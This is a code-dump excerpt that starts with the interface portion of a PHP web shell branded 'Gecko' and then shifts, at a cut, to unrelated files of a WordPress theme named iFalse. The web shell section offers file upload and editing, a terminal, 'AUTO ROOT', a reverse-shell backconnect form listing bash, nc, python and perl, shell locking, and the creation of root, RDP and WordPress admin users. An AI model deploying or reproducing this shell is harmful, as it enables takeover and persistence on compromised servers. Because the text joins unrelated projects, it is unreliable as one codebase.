background-color: orange;
color: #000;
margin-left: 100px;
border-radius: 4px;
content: "windows"
}
.badge-linux::after {
margin-left: 100px;
border-radius: 4px;
background-color: #0047a3;
content: "linux"
}
.badge-action-editor:hover::after {
content: "Rename"
}
.badge-action-chmod:hover::after {
content: "Chmod"
}
.badge-action-download:hover::after {
content: "Download"
}
.CodeMirror {
height: 70vh;
}
.code-editor,
.terminal {
background-color: rgba(0, 0, 0, .3);
width: 100%
}
.code-editor-container {
background-color: #f4f4f9;
color: #000;
width: 90%;
height: 90vh;
margin: 20px auto auto;
border-radius: 10px
}
.code-editor-head {
padding: 15px;
font-weight: 700
}
.terminal-container {
animation: .5s both modal-pop-out;
width: 90%;
background-color: #f4f4f9;
margin: 25px auto auto;
color: #000;
border-radius: 4px
}
.bc-gecko,
.mail,
.terminal-input {
background-color: #22242d;
color: #fff
}
.terminal-head {
padding: 8px
}
.terminal-head li a {
color: #000;
position: absolute;
right: 0;
margin-right: 110px;
font-weight: 700;
margin-top: -20px;
font-size: 25px;
padding: 1px 10px
}
.terminal-body textarea {
margin: 4px;
background-color: #22242d;
color: #29db12;
border-radius: 4px
}
.active {
display: block
}
.terminal-input {
width: 500px;
padding: 6px;
border: 1px solid #22242d;
border-radius: 4px;
margin: 5px 0
}
.bc-gecko {
border: none;
padding: 7px 10px;
width: 712px;
border-radius: 5px;
margin: 15px 40px
}
.mail {
width: 705px;
resize: none;
height: 100px
}
.logo-gecko {
position: absolute;
top: -90px;
right: 40px;
z-index: -1;
bottom: 0
}
</style>
</head>
<body>
<div class="menu-header">
<ul>
<li><i class="fa-solid fa-computer"></i> <?= $fungsi[8](); ?></li>
<li><i class="fa-solid fa-server"></i> <?= $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\x46\x54\x57\x41\x52\x45"]; ?></li>
<li><i class="fa-solid fa-network-wired"></i> : <?= gethostbyname($_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]); ?> | : <?= $_SERVER["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"]; ?></li>
<li><i class="fa-solid fa-globe"></i> <?= s(); ?></li>
<li><i class="fa-brands fa-php"></i> <?= PHP_VERSION; ?></li>
<li><i class="fa-solid fa-user"></i> <?= $fungsi[9](); ?></li>
<li><i class="fa-brands fa-github"></i> www.github.com/MadExploits</li>
<li class="logo-gecko"><img width="400" height="400" src="//raw.githubusercontent.com/MadExploits/Gecko/main/gecko1.png" align="right"></li>
<form action="" method="post" enctype='<?= "\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"; ?>'>
<li class="form-upload"><input type="submit" value="Upload" name="gecko-up-submit" class="btn-submit"> <input type="file" name="gecko-upload" class="form-file"></li>
</form>
</ul>
</div>
<div class="menu-tools">
<ul>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&terminal=normal" class="btn-submit"><i class="fa-solid fa-terminal"></i> Terminal</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&terminal=root" class="btn-submit badge-root"><i class="fa-solid fa-user-lock"></i> AUTO ROOT</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&adminer" class="btn-submit"><i class="fa-solid fa-database"></i> Adminer</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&destroy" class="btn-submit"><i class="fa-solid fa-ghost"></i> Backdoor Destroyer</a></li>
<li><a href="//www.exploit-db.com/search?q=Linux%20Kernel%20<?= suggest_exploit(); ?>" class="btn-submit"><i class="fa-solid fa-flask"></i> Linux Exploit</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&lockshell" class="btn-submit"><i class="fa-brands fa-linux"></i> Lock Shell</a></li>
<li><a href="" class="btn-submit badge-linux" id="lock-file"><i class="fa-brands fa-linux"></i> Lock File</a></li>
<li><a href="" class="btn-submit badge-root" id="root-user"><i class="fa-solid fa-user-plus"></i> Create User</a></li>
<li><a href="" class="btn-submit" id="create-rdp"><i class="fa-solid fa-laptop-file"></i> CREATE RDP</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&mailer" class="btn-submit"><i class="fa-solid fa-envelope"></i> PHP Mailer</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&backconnect" class="btn-submit"><i class="fa-solid fa-user-secret"></i> BACKCONNECT</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&unlockshell" class="btn-submit"><i class="fa-solid fa-unlock-keyhole"></i> UNLOCK SHELL</a></li>
<li><a href="//hashes.com/en/tools/hash_identifier" class="btn-submit"><i class="fa-solid fa-code"></i> HASH IDENTIFIER</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&cpanelreset" class="btn-submit"><i class="fa-brands fa-cpanel"></i> CPANEL RESET</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&createwp" class="btn-submit"><i class="fa-brands fa-wordpress-simple"></i> CREATE WP USER</a></li>
<li><a href="//github.com/MadExploits/" class="btn-submit"><i class="fa-solid fa-link"></i> README</a></li>
</ul>
</div>
<?php
$file_manager = $fungsi[1]("{.[!.],}*", GLOB_BRACE);
$get_cwd = $fungsi[0]();
?>
<div class="menu-file-manager">
<ul>
<li><a href="" id="create_folder">+ Create Folder</a></li>
<li><a href="" id="create_file">+ Create File</a></li>
</ul>
<div class="path-pwd">
<?php
$cwd = str_replace("\\", "/", $get_cwd); // untuk dir garis windows
$pwd = explode("/", $cwd);
if (stristr(PHP_OS, "WIN")) {
windowsDriver();
}
foreach ($pwd as $id => $val) {
if ($val == '' && $id == 0) {
echo ' <a href="?d=' . hx('/') . '"><i class="fa-solid fa-folder-plus"></i> / </a>';
continue;
}
if ($val == '') continue;
echo '<a href="?d=';
for ($i = 0; $i <= $id; $i++) {
echo hx($pwd[$i]);
if ($i != $id) echo hx("/");
}
echo '">' . $val . ' / ' . '</a>';
}
echo "<a style='font-weight:bold; color:orange;' href='?d=" . hx(__DIR__) . "'>[ HOME SHELL ]</a> ";
?>
</div>
</ul>
<table style="width: 100%;">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th>Action</th>
</tr>
</thead>
<form action="" method="post">
<tbody>
<!-- Gecko Folder File Manager -->
<?php foreach ($file_manager as $_D) : ?>
<?php if ($fungsi[2]($_D)) : ?>
<tr>
<td><input type="checkbox" name="check[]" value="<?= $_D ?>"> <i class="fa-solid fa-folder-open" style="color:orange;"></i> <a href="?d=<?= hx($fungsi[0]() . "/" . $_D); ?>"><?= namaPanjang($_D); ?></a></td>
<td>[ DIR ]</td>
<td>
<?php if ($fungsi[4]($fungsi[0]() . '/' . $_D)) {
echo '<font color="#00ff00">';
} elseif (!$fungsi[5]($fungsi[0]() . '/' . $_D)) {
echo '<font color="red">';
}
echo perms($fungsi[0]() . '/' . $_D);
?>
</td>
<!-- Action Folder Manager -->
<td><a href="?d=<?= hx($fungsi[0]()); ?>&re=<?= hx($_D) ?>" class="badge-action-editor"><i class="fa-solid fa-pen-to-square"></i></a> <a href="?d=<?= hx($fungsi[0]()); ?>&ch=<?= hx($_D) ?>" class="badge-action-chmod"><i class="fa-solid fa-user-pen"></i></a></td>
</tr>
<?php endif; ?>
<?php endforeach; ?>
<!-- Gecko Files Manager -->
<?php foreach ($file_manager as $_F) : ?>
<?php if ($fungsi[3]($_F)) : ?>
<tr>
<td><input type="checkbox" name="check[]" value="<?= $_F ?>"> <?= file_ext($_F) ?> <a href="?d=<?= hx($fungsi[0]()); ?>&f=<?= hx($_F); ?>" class="gecko-files"><?= namaPanjang($_F); ?></a></td>
<td><?= formatSize(filesize($_F)); ?></td>
<td>
<?php if (is_writable($fungsi[0]() . '/' . $_D)) {
echo '<font color="#00ff00">';
} elseif (!is_readable($fungsi[0]() . '/' . $_F)) {
echo '<font color="red">';
}
echo perms($fungsi[0]() . '/' . $_F);
?>
</td>
<!-- Action File Manager -->
<td><a href="?d=<?= hx($fungsi[0]()); ?>&re=<?= hx($_F) ?>" class="badge-action-editor"><i class="fa-solid fa-pen-to-square"></i></a> <a href="?d=<?= hx($fungsi[0]()); ?>&ch=<?= hx($_F) ?>" class="badge-action-chmod"><i class="fa-solid fa-user-pen"></i></a> <a href="?d=<?= hx($fungsi[0]()); ?>&don=<?= hx($_F) ?>" class="badge-action-download"><i class="fa-solid fa-download"></i></a></td>
</tr>
<?php endif; ?>
<?php endforeach; ?>
</tbody>
</table>
<br>
<select name="gecko-select" class="btn-submit">
<option value="delete">Delete</option>
<option value="unzip">Unzip</option>
<option value="zip">Zip</option><br>
</select>
<input type="submit" name="submit-action" value="Submit" class="btn-submit" style="padding: 8.3px 35px;">
</form>
<!-- Modal Pop Jquery Create Folder/File By ./MrMad -->
<div class="modal">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">${this.title}</i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<div id="modal-body-bc"></div>
<span id="modal-input"></span>
<div class="modal-btn-form">
<input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <button class="btn-modal-close box-shadow" id="close-modal">Close</button>
</div>
</form>
</div>
</div>
</div>
</div>
<?php if (isset($_GET['cpanelreset'])) : ?>
<div class="modal active">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">:: Cpanel Reset </i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<div class="modal-isi">
<form action="" method="post">
<input type="email" name="resetcp" class="modal-create-input" placeholder="Your email : example@mail.com">
</div>
<div class="modal-btn-form">
<input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['createwp'])) : ?>
<div class="modal active">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">
<center>CREATE WORDPRESS ADMIN PASSWORD</center>
</i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<div class="modal-isi">
<form action="" method="post">
<input type="text" name="db_name" class="modal-create-input" placeholder="DB_NAME">
<br><br>
<input type="text" name="db_user" class="modal-create-input" placeholder="DB_USER">
<br><br>
<input type="text" name="db_password" class="modal-create-input" placeholder="DB_PASSWORD">
<br><br>
<input type="text" name="db_host" class="modal-create-input" placeholder="DB_HOST" value="127.0.0.1">
<br><br>
<hr size="2" color="black" style="margin:0px 30px; border-radius:3px;">
<br><br>
<input type="text" name="wp_user" class="modal-create-input" placeholder="Your Username">
<br><br>
<input type="text" name="wp_pass" class="modal-create-input" placeholder="Your Password">
<br><br>
</div>
<div class="modal-btn-form">
<input type="submit" name="submitwp" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['backconnect'])) : ?>
<div class="modal active">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">:: Backconnect</i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<select class="bc-gecko box-shadow" name="gecko-bc">
<option value="-">Choose Backconnect</option>
<option value="perl">Perl</option>
<option value="python">Python</option>
<option value="ruby">Ruby</option>
<option value="bash">Bash</option>
<option value="php">php</option>
<option value="nc">nc</option>
<option value="sh">sh</option>
<option value="xterm">Xterm</option>
<option value="golang">Golang</option>
</select>
<input type="text" name="backconnect-host" class="modal-create-input" placeholder="127.0.0.1">
<br><br>
<input type="number" name="backconnect-port" class="modal-create-input" placeholder="1337">
<div class="modal-btn-form">
<input type="submit" name="submit-bc" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['mailer'])) : ?>
<div class="modal active">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">:: PHP Mailer</i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<div class="modal-isi">
<form action="" method="post">
<div class="modal-mail-text">
<textarea name="message-smtp" class="box-shadow mail" placeholder=" Your Text here!"></textarea>
</div>
<br>
<input type="text" name="mailto-subject" class="modal-create-input" placeholder="Subject">
<br><br>
<input type="email" name="mail-from-smtp" class="modal-create-input" placeholder="from : example@mail.com">
<br><br>
<input type="email" name="mail-to-smtp" class="modal-create-input" placeholder="to : example@mail.com">
</div>
<div class="modal-btn-form">
<input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if ($_GET['f']) : ?>
<div class="code-editor">
<div class="code-editor-container">
| php | MIT | 64d2888940b91b969b10458b11f927f9a3f59dbf | 2026-01-05T05:14:32.258281Z | true |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/footer.php | footer.php | <div class="container-full footer">
<div class="container footer-box">
<?php //版权 ?>
<div class="copyright">
<?php
if(get_option("i_copyright")) {
if(get_option("i_copyright") < date("Y")){
echo "Copyright © ".get_option("i_copyright")."-".date("Y");
} else {
echo "Copyright © ".date("Y");
}
} else {
echo "Copyright © ".date("Y");
}
?>
<a href="<?php bloginfo('url') ?>"><?php bloginfo('name') ?></a>
</div>
<?php //icp备案 ?>
<?php if(get_option("i_icp")){?>
<div class="icp">
<a href="https://beian.miit.gov.cn/"><?php echo get_option("i_icp"); ?></a>
</div>
<?php } ?>
<?php //公网安备 ?>
<?php if(get_option("i_icp_gov")) {
$patterns = "/\d+/";
$strs = get_option("i_icp_gov");
preg_match_all($patterns,$strs,$arr);
$icp_url = implode($arr[0]);
?>
<div class="icp_gov">
<img src="<?php echo i_static(); ?>/images/beian.png" alt="">
<a href="https://www.beian.gov.cn/portal/registerSystemInfo?recordcode=<?php echo $icp_url; ?>"><?php echo get_option("i_icp_gov"); ?></a>
</div>
<?php } ?>
<?php //又拍云联盟 ?>
<?php if(get_option("i_upyun") == 1) { ?>
<div class="upyun">
本网站由<a href="https://www.upyun.com/?utm_source=lianmeng&utm_medium=referral"><img src="<?php echo i_static(); ?>/images/upyun.png"></a>提供CDN加速/云存储服务
</div>
<?php } ?>
<?php //网站运行时间 ?>
<?php if(get_option("i_build_date")) { ?>
<?php $runtime = json_encode(get_option("i_build_date")); ?>
<div id="runtime_box"></div>
<script type="text/javascript">
function show_runtime(){window.setTimeout("show_runtime()",1000);
X=new Date(<?php echo $runtime; ?>);
Y=new Date();T=(Y.getTime()-X.getTime());M=24*60*60*1000;
a=T/M;A=Math.floor(a);b=(a-A)*24;B=Math.floor(b);c=(b-B)*60;C=Math.floor((b-B)*60);D=Math.floor((c-C)*60);
runtime_box.innerHTML="本站已运行: "+A+"天"+B+"小时"+C+"分"+D+"秒"}show_runtime();
</script>
<?php } ?>
<?php //自定义 ?>
<div class="custom">
<?php //require('user/user.php'); ?>
<?php if(get_option("i_custom_html_footer")){echo get_option("i_custom_html_footer");}; ?>
</div>
<?php //开发者 ?>
<div class="author">
<span class="iconfont icon-zhiwen"></span>
<div>Powered by <a href="https://wordpress.org/">WordPress</a> Theme by <a href="https://github.com/kannafay/iFalse">iFalse</a></div>
</div>
</div>
</div>
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/author.php | author.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div>
<?php i_author(); ?>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js(); ?>
</body>
</html> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/header-mobile.php | header-mobile.php | <div class="container-full nav-bar-mb header <?php if(get_option("i_header_hidden") == 1) {echo 'header-hidden';} ?>">
<div class="left">
<span id="menu-mb-open" class="iconfont icon-caidan2"></span>
</div>
<?php if(get_option("i_logo_hidden") == 1) {} else { ?>
<div class="center">
<a href="<?php bloginfo('url') ?>" rel="home" class="logo-mb">
<img class="logo-light" src="<?php if(get_option("i_logo_url_light")){echo get_option("i_logo_url_light");}else{site_icon_url();}; ?>" alt="">
<img class="logo-night" style="display:none" src="<?php if(get_option("i_logo_url_night")){echo get_option("i_logo_url_night");}else{site_icon_url();}; ?>" alt="">
<script>
const logo_light_m = document.querySelector('.nav-bar-mb .center .logo-mb .logo-light');
const logo_night_m = document.querySelector('.nav-bar-mb .center .logo-mb .logo-night');
if (getCookie("night") == "1") {
logo_light_m.style.display = "none";
logo_night_m.style.display = "block";
} else {
logo_light_m.style.display = "block";
logo_night_m.style.display = "none";
}
</script>
</a>
</div>
<?php } ?>
<div class="right">
<?php if(get_option("i_login_hidden") != 1 || is_user_logged_in()){ ?>
<?php if (is_user_logged_in()) { ?>
<div class="admin">
<?php echo get_user_avatar(); ?>
</div>
<div class="user-menu">
<?php if(current_user_can('level_7')) { ?>
<a href="<?php bloginfo('url') ?>/wp-admin"><span class="iconfont icon-shezhi"></span> 后台管理</a>
<?php } ?>
<?php if(current_user_can('level_1')) { ?>
<a href="<?php bloginfo('url') ?>/wp-admin/post-new.php"><span class="iconfont icon-weibiaoti--"></span> 发布文章</a>
<a href="<?php bloginfo('url') ?>/wp-admin/post-new.php?post_type=shuoshuo"><span class="iconfont icon-xiaoxi2"></span> 发表说说</a>
<?php } ?>
<a href="<?php bloginfo('url') ?>/wp-admin/profile.php"><span class="iconfont icon-user"></span> 个人资料</a>
<a class="logout" href="<?php echo wp_logout_url(); ?>"><span class="iconfont icon-tuichu1"></span> 退出登录</a>
</div>
<?php ;} else { ?>
<a href="<?php echo wp_login_url(); ?>" class="login"><span class="iconfont icon-User"></span></a>
<?php ;} ?>
<?php } ?>
</div>
</div>
<div class="menu-mb-mask"></div>
<div class="menu-mb">
<div class="menu-mb-top">
<div class="menu-mb-box">
<div class="user-info">
<div class="visitor">
<?php if(get_option("i_login_hidden") != 1 || is_user_logged_in()){ ?>
<?php if(is_user_logged_in()) { ?>
<a href="<?php bloginfo('url') ?>/wp-admin"><?php echo get_user_avatar(); ?></a>
<?php } else { ?>
<a href="<?php echo wp_login_url(); ?>"><img src="<?php echo i_static();?>/images/avatar.png" alt=""></a>
<?php } ?>
<a href="<?php if(is_user_logged_in()) {echo bloginfo('url')."/wp-admin";} else {echo wp_login_url();} ?>">
<p><?php
if (is_user_logged_in()) {
global $current_user, $display_name;
get_currentuserinfo();
echo $current_user -> display_name;
} else {
if(get_option("i_hello")) {echo get_option("i_hello");} else {echo '您还没有登录哦!';};
}
?></p>
</a>
<?php } else { ?>
<img src="<?php site_icon_url(); ?>" alt="" style="border-radius: 0;">
<p><?php bloginfo('name'); ?></p>
<?php } ?>
</div>
</div>
<span id="menu-mb-close" class="iconfont icon-guanbi"></span>
</div>
</div>
<div class="nav-mb-content">
<div class="nav-mb-content-top">
<?php i_searchform_mb(); ?>
<div class="change-night change-night-mb" onclick="switchNightMode();nightBtn();"><span class="iconfont"></span></div>
</div>
<?php
wp_nav_menu(array(
'theme_location' => 'menu-mb',
'container_id' => 'nav-mb',
'container_class' => 'nav-mb',
'menu_id' => 'nav-menu-mb',
'menu_class' => 'nav-menu-mb',
'fallback_cb' => 'nav_fallback_mb'
) );
?>
<script>
const menu_item_mb = document.querySelectorAll('.nav-mb .nav-menu-mb > .menu-item-has-children > a');
const menu_item_box_mb = [];
for(let i=0; i<menu_item_mb.length; i++) {
menu_item_box_mb[i] = document.createElement('i');
menu_item_mb[i].appendChild(menu_item_box_mb[i]).setAttribute('class','iconfont icon-arrow-down');
}
const menu_items_mb = document.querySelectorAll('.nav-mb .nav-menu-mb > .menu-item-has-children > .sub-menu .menu-item-has-children > a');
const menu_items_box_mb = [];
for(let i=0; i<menu_items_mb.length; i++) {
menu_items_box_mb[i] = document.createElement('i');
menu_items_mb[i].appendChild(menu_items_box_mb[i]).setAttribute('class','iconfont icon-yiji-ziyuanjianguan');
}
</script>
</div>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/page.php | page.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div>
<?php i_page(); ?>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js(); ?>
</body>
</html> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/sidebar-article.php | sidebar-article.php | <div class="sidebar">
<div class="author-info-box">
<div class="author-info">
<div class="post-author-logo">
<a href="<?php the_post();home_url();echo '/author/';echo get_the_author_meta('user_login');rewind_posts(); ?>"><?php the_post();echo get_avatar(get_the_author_ID());rewind_posts(); ?></a>
</div>
<div class="post-author-name"><?php the_author_posts_link(); ?></div>
<div class="post-author-description">
<?php
if(get_the_author_meta('description',$post->post_author)) {
echo get_the_author_meta('description',$post->post_author);
} else {
echo '这家伙很懒,什么都没写';
}
?>
</div>
<div class="post-author-new">
<?php query_posts('showposts=6&author='.$post->post_author);
while (have_posts()) : the_post();?>
<li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
<?php endwhile; ?>
</div>
</div>
</div>
<!-- sidebar -->
<ul id="primary-sidebar">
<?php if ( is_active_sidebar( 'sidebar-2' ) ) : ?>
<?php dynamic_sidebar( 'sidebar-2' ); ?>
<?php else: ?>
<?php endif; ?>
</ul>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/archive.php | archive.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div>
<?php i_archive(); ?>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js(); ?>
</body>
</html> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/comments.php | comments.php | <?php
// 评论博主高亮
function filter_get_comment_author( $author, $comment_comment_id, $comment ) {
error_reporting(0);
$blogusers = get_user_by('id', 1);
foreach ( $blogusers as $user ){
if( $author == $user->display_name ){
$webMaster = '<span class="master">'.$author.'</span><i>博主</i>';
return $webMaster;
}
}
return $author;
}
add_filter( 'get_comment_author', 'filter_get_comment_author', 10, 4);
?>
<?php if(comments_open()) { ?>
<div class="post-comments">
<div class="post-comments-content">
<?php comment_form() ?>
<h2 class="post-comments-title">发现<?php if(post_password_required()){echo '已加密';}elseif(comments_open()){comments_popup_link('沙发','1','%');}else{echo '已关闭';} ?>条评论</h2>
<?php wp_list_comments( array(
'avatar_size' => '400',
'type' => 'comment'
));
?>
<?php
if (get_option('page_comments')) {
$comment_pages = paginate_comments_links('echo=0');
if ($comment_pages) {?>
<div id="post-comments-nav">
<?php echo $comment_pages; ?>
</div>
<?php
}
}
?>
</div>
</div>
<?php
if(get_option("i_comments_article") == 1) {
if(get_option("i_comments_turn" ) == 1) {
if(is_user_logged_in() == false) { ?>
<div class="is-logined">
<div class="is-logined-box">
发现您未登录,请先<a href="<?php echo wp_login_url(); ?>">登录</a>后再发表评论!
</div>
</div>
<script>
$('.post-comments #respond > form').remove();
$('.post-comments #respond').append($('.is-logined'));
</script>
<?php }
}
}
} ?>
<script src="<?php echo i_static(); ?>/js/comments.js"></script>
<script>
// 回复时文本域聚焦
const replyText = document.querySelector('.post-comments .comment-respond textarea');
$(document).ready(function() {
if (/replytocom=\d+/.exec(window.location.href)) {
$(replyText).focus();
}
})
</script>
<?php if(get_option("i_plane") != 1) { ?>
<script>
const respond_area = $(`.post-comments .comment-respond textarea,
.post-comments .comment-respond .comment-form-author input,
.post-comments .comment-respond .comment-form-email input,
.post-comments .comment-respond .comment-form-url input`
);
respond_area.focus(function() {
$(this).css('box-shadow','var(--input)');
});
respond_area.blur(function() {
$(this).css('box-shadow','none');
});
</script>
<?php } ?> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/search.php | search.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div>
<?php i_search() ?>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js(); ?>
</body>
</html> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/tag.php | tag.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div>
<?php i_tag() ?>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js(); ?>
</body>
</html> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/functions.php | functions.php | <?php
/**
* Author: 神秘布偶猫
* E-mail: me@onll.cn
*/
// ---------------------------------------------------------------------
// 自定义引入文件
function i_frame() {
require('inc/frame.php');
}
function i_frame_js() {
require('inc/frame-js.php');
}
function i_index() {
require('inc/home.php');
}
function i_article() {
require('inc/article.php');
}
function i_shuoshuo() {
require('inc/article-shuoshuo.php');
}
function i_page() {
require('inc/page-template.php');
}
function i_search() {
require('inc/page-search.php');
}
function i_archive() {
require('inc/page-archive.php');
}
function i_tag() {
require('inc/page-tag.php');
}
function i_date() {
require('inc/page-date.php');
}
function i_author() {
require('inc/page-author.php');
}
function i_header_mb() {
require('header-mobile.php');
}
function i_searchform_mb() {
require('searchform-mobile.php');
}
// ---------------------------------------------------------------------
// 主题设置
add_action('admin_menu', 'ifalse_set');
function ifalse_set(){add_menu_page('iFalse主题', 'iFalse主题', 'edit_themes', 'i_opt', 'i_opt');}
function i_opt(){require get_template_directory()."/admin/i_opt.php";}
// 子菜单
add_action('admin_menu', 'ifalse_set_base');
add_action('admin_menu', 'ifalse_set_nav');
add_action('admin_menu', 'ifalse_set_home');
add_action('admin_menu', 'ifalse_set_post');
add_action('admin_menu', 'ifalse_set_footer');
add_action('admin_menu', 'ifalse_set_other');
add_action('admin_menu', 'ifalse_set_custom');
function ifalse_set_base(){add_submenu_page('i_opt', '基本设置', '基本设置', 'edit_themes', 'i_base', 'i_base' );}
function ifalse_set_nav(){add_submenu_page('i_opt', '导航设置', '导航设置', 'edit_themes', 'i_nav', 'i_nav' );}
function ifalse_set_home(){add_submenu_page('i_opt', '首页设置', '首页设置', 'edit_themes', 'i_home', 'i_home' );}
function ifalse_set_post(){add_submenu_page('i_opt', '文章设置', '文章设置', 'edit_themes', 'i_post', 'i_post' );}
function ifalse_set_footer(){add_submenu_page('i_opt', '底部设置', '底部设置', 'edit_themes', 'i_footer', 'i_footer' );}
function ifalse_set_other(){add_submenu_page('i_opt', '其他设置', '其他设置', 'edit_themes', 'i_other', 'i_other' );}
function ifalse_set_custom(){add_submenu_page('i_opt', '自定义', '自定义', 'edit_themes', 'i_custom', 'i_custom' );}
function i_base(){require get_template_directory()."/admin/options/i_base.php";}
function i_nav(){require get_template_directory()."/admin/options/i_nav.php";}
function i_home(){require get_template_directory()."/admin/options/i_home.php";}
function i_post(){require get_template_directory()."/admin/options/i_post.php";}
function i_footer(){require get_template_directory()."/admin/options/i_footer.php";}
function i_other(){require get_template_directory()."/admin/options/i_other.php";}
function i_custom(){require get_template_directory()."/admin/options/i_custom.php";}
// ---------------------------------------------------------------------
// 静态资源CDN
function i_static() {
if(get_option("i_cdn_custom")) {
return get_option("i_cdn_custom");
} else {
switch (get_option("i_cdn")) {
case 1:
return 'https://cdn.acg.ltd/@2.0.1'; // baidu-sola
break;
case 2:
return 'https://fastly.jsdelivr.net/gh/kannafay/iFalse-Static/@2.0.1'; // jsdelivr
break;
default:
return get_template_directory_uri().'/static'; // local
}
}
}
// ---------------------------------------------------------------------
// 网站标题
function show_wp_title(){
global $page, $paged;
wp_title( '-', true, 'right' );
bloginfo( 'name' );
$site_description = get_bloginfo( 'description', 'display' );
if ( $site_description && ( is_home() || is_front_page() ) )
echo ' - ' . $site_description;
if ( $paged >= 2 || $page >= 2 )
echo ' - ' . sprintf( '第%s页', max( $paged, $page ) );
}
// ---------------------------------------------------------------------
// 默认封面图
function i_cover_pic() {
$cover_pic = i_static().'/images/thumbnail.jpg';
return $cover_pic;
}
// 加载图
function i_loading_pic() {
error_reporting(0);
if($_COOKIE['night'] == 0) {
$loading_pic = i_static().'/images/loading.gif';
return $loading_pic;
} else {
$loading_pic = i_static().'/images/loading-night.gif';
return $loading_pic;
}
}
//获取文章第一张图片
function catch_that_image() {
error_reporting(0);
global $post, $posts;
$first_img = '';
ob_start();
ob_end_clean();
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
$first_img = $matches [1] [0];
if(empty($first_img)){
if(get_option("i_random_pic")) {
$first_img = get_option("i_random_pic");
} else{
$first_img = i_cover_pic();
}
}
return $first_img;
}
// ---------------------------------------------------------------------
